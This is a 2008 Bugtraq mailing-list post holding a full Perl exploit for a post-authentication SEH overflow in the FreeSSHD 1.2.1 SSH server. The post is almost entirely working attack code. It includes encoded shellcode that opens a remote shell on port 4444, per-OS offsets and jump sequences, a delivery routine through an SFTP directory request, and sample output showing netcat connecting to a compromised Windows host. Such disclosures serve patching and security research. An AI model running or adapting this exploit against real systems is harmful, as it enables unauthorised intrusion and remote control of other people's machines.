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bugtraq: FreeSSHD 1.2.1 (Post Auth) Remote Seh Overflow Exploit

FreeSSHD 1.2.1 (Post Auth) Remote Seh Overflow Exploit

From: <m.memelli_at_nospam>
Date: Fri Jun 06 2008 - 21:38:01 GMT
To: bugtraq@securityfocus.com
('binary' encoding is not supported, stored as-is) #!/usr/bin/perl ###############################################################################
# FreeSSHD 1.2.1 (Post Auth) Remote Seh Overflow http://freeddsshd.com/ #
# Exploit based on securfrog Poc http://www.milw0rm.com/exploits/5709 #
# #
# Coded by Matteo Memelli aka ryujin #
# `Spaghetti & PwnSauce` #
# >> http://www.be4mind.com http://www.gray-world.net << #
# #
# Tested on Windows XPSp2 EN / Windows Vista Ultimate EN #
# Offset for SEH overwrite is 3 Bytes greater in Windows Vista #
# Reliable Exploitation needs SSC :) #
# #
# `I Miss Python but...I Gotta learn some perl too ;)` #
# `Cheers to #offsec friends and to my bro s4tan` #
###############################################################################
# #
# bt POCS # ./freeSSHD_exploit.pl 10.150.0.228 22 pwnme pwnme 2 # # [+] FreeSSHD 1.2.1 (Post Auth) Remote Seh Overflow # # [+] Coded by Matteo Memelli aka ryujin # # [+] SSC: Stack Spring Cleaning... >> rm thisJunk << # # [+] Exploiting FreSSHDService... # # [+] Sending Payload... # # [*] Done! CTRL-C and check your shell on port 4444 #
# #
# bt POCS # nc 10.150.0.228 4444 # # Microsoft Windows [Version 6.0.6000] # # Copyright (c) 2006 Microsoft Corporation. All rights reserved. #
# #
# C:\Users\ryujin\Desktop> #
# #
############################################################################### use strict; use Net::SSH2; my $numArgs = $#ARGV + 1; if ($numArgs != 5) { print "Usage : ./freeSSHD_exploit.pl HOST PORT USER PASS TARGET\n"; print "TARGET: 1 -> XPSP2\n"; print "TARGET: 2 -> VISTA\n"; exit; } # [*] Using Msf::Encoder::PexAlphaNum with final size of 709 bytes # ExitFunc=SEH my $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e". "\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x48". "\x4e\x56\x46\x42\x46\x32\x4b\x38\x45\x44\x4e\x33\x4b\x48\x4e\x47". "\x45\x50\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x31\x4b\x58". "\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x44\x4b\x48\x46\x33\x4b\x38". "\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c". "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e". "\x46\x4f\x4b\x33\x46\x55\x46\x32\x4a\x42\x45\x37\x45\x4e\x4b\x48". "\x4f\x35\x46\x42\x41\x30\x4b\x4e\x48\x46\x4b\x48\x4e\x50\x4b\x34". "\x4b\x48\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x43\x50\x4e\x42\x4b\x58". "\x49\x48\x4e\x46\x46\x32\x4e\x41\x41\x36\x43\x4c\x41\x53\x4b\x4d". "\x46\x56\x4b\x48\x43\x34\x42\x43\x4b\x58\x42\x44\x4e\x30\x4b\x48". "\x42\x37\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50\x50\x45\x4a\x36". "\x50\x38\x50\x54\x50\x50\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x46". "\x43\x35\x48\x46\x4a\x46\x43\x43\x44\x53\x4a\x46\x47\x57\x43\x37". "\x44\x33\x4f\x35\x46\x55\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e". "\x4e\x4f\x4b\x43\x42\x55\x4f\x4f\x48\x4d\x4f\x55\x49\x58\x45\x4e". "\x48\x36\x41\x58\x4d\x4e\x4a\x50\x44\x50\x45\x55\x4c\x36\x44\x50". "\x4f\x4f\x42\x4d\x4a\x36\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x45". "\x4f\x4f\x48\x4d\x43\x35\x43\x35\x43\x45\x43\x35\x43\x35\x43\x54". "\x43\x35\x43\x54\x43\x35\x4f\x4f\x42\x4d\x48\x46\x4a\x46\x41\x31". "\x4e\x35\x48\x56\x43\x35\x49\x48\x41\x4e\x45\x39\x4a\x36\x46\x4a". "\x4c\x51\x42\x37\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x36\x42\x31". "\x41\x55\x45\x35\x4f\x4f\x42\x4d\x4a\x46\x46\x4a\x4d\x4a\x50\x32". "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d". "\x4a\x56\x45\x4e\x49\x34\x48\x58\x49\x54\x47\x35\x4f\x4f\x48\x4d". "\x42\x45\x46\x45\x46\x45\x45\x45\x4f\x4f\x42\x4d\x43\x59\x4a\x46". "\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x35\x4f\x4f\x48\x4d\x45\x45". "\x4f\x4f\x42\x4d\x48\x46\x4c\x46\x46\x46\x48\x36\x4a\x36\x43\x56". "\x4d\x46\x49\x58\x45\x4e\x4c\x56\x42\x55\x49\x55\x49\x32\x4e\x4c". "\x49\x38\x47\x4e\x4c\x46\x46\x34\x49\x38\x44\x4e\x41\x33\x42\x4c". "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x42\x50\x4f\x44\x44\x4e\x52". "\x43\x39\x4d\x58\x4c\x47\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36". "\x44\x37\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x37\x46\x54\x4f\x4f". "\x48\x4d\x4b\x45\x47\x45\x44\x35\x41\x45\x41\x55\x41\x35\x4c\x46". "\x41\x50\x41\x35\x41\x35\x45\x35\x41\x55\x4f\x4f\x42\x4d\x4a\x36". "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x56". "\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x38\x47\x45\x4e\x4f". "\x43\x48\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d". "\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x43\x35\x4f\x4f\x48\x4d". "\x4f\x4f\x42\x4d\x5a"; my $nops = "\x90"x64; my $offset1xp = "\x41"x242; my $offset1vi = "\x41"x226; my $offset2xp = "\x41"x24; my $offset2vi = "\x41"x43; my $ppr = "\xde\x13\x40"; my $jmpsxp = "\xeb\xe1\x90\x90"; my $jmpsvi = "\xeb\xce\x90\x90"; my $jmpn = "\xe9\x23\xfc\xff\xff"; my $ip = $ARGV[0]; my $port = int($ARGV[1]); my $user = $ARGV[2]; my $pass = $ARGV[3]; my $payload = '';
if ($ARGV[4] == '1')
{

   $payload = $nops.$shellcode.$offset1xp.$jmpn.$offset2xp.$jmpsxp.$ppr; }
elsif ($ARGV[4] == '2')
{

   $payload = $nops.$shellcode.$offset1vi.$jmpn.$offset2vi.$jmpsvi.$ppr; }
else
{

   print "[-] TARGET ERROR!\n";
   exit;
} print "[+] FreeSSHD 1.2.1 (Post Auth) Remote Seh Overflow\n"; print "[+] Coded by Matteo Memelli aka ryujin\n"; print "[+] SSC: Stack Spring Cleaning... >> rm thisJunk <<\n"; # If you start the exploit before any other connection, everything is fine # otherwise exploit could become less reliable. # So let's rm some junk before exploiting our app... for (my $count = 30; $count >= 1; $count--) {

   my $ssh2 = Net::SSH2->new(); $ssh2->connect($ip, $port) || die "[-] Connnection Failed!"; $ssh2->auth_password($user,$pass)|| die "Wrong Username or Passwd!"; $ssh2->disconnect();
}
my $ssh2 = Net::SSH2->new();
$ssh2->connect($ip, $port) || die "[-] Connnection Failed!"; $ssh2->auth_password($user,$pass)|| die "Wrong Username or Passwd!"; print "[+] Exploiting FreSSHDService...\n"; print "[+] Sending Payload...\n"; print "[*] Done! CTRL-C and check your shell on port 4444\n"; my $sftp = $ssh2->sftp();
my $bad = $sftp->opendir($payload);
exit;